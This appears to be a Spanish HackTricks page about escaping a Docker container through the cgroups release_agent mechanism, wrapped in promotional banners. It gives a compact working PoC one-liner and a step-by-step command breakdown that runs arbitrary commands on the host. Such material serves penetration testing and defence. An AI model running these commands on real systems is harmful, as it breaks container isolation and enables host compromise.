Docker release_agent cgroups escape

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:


Para más detalles, consulta la publicación original del blog. Esto es solo un resumen:

PoC Original:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

El concepto de prueba (PoC) demuestra un método para explotar cgroups creando un archivo release_agent y activando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí tienes un desglose de los pasos involucrados:

  1. Preparar el Entorno:

    • Se crea un directorio /tmp/cgrp para servir como punto de montaje para el cgroup.

    • El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup memory como alternativa.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Configurar el Cgroup Hijo:

    • Se crea un cgroup hijo llamado "x" dentro del directorio cgroup montado.

    • Se habilitan las notificaciones para el cgroup "x" escribiendo 1 en su archivo notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Configurar el Agente de Liberación:

  • La ruta del contenedor en el host se obtiene del archivo /etc/mtab.

  • Luego se configura el archivo release_agent del cgroup para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Crear y Configurar el Script /cmd:

  • El script /cmd se crea dentro del contenedor y se configura para ejecutar ps aux, redirigiendo la salida a un archivo llamado /output en el contenedor. Se especifica la ruta completa de /output en el host.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Desencadenar el Ataque:

  • Se inicia un proceso dentro del cgroup hijo "x" y se termina inmediatamente.

  • Esto desencadena el release_agent (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.

Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de búsqueda de forma gratuita en:

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización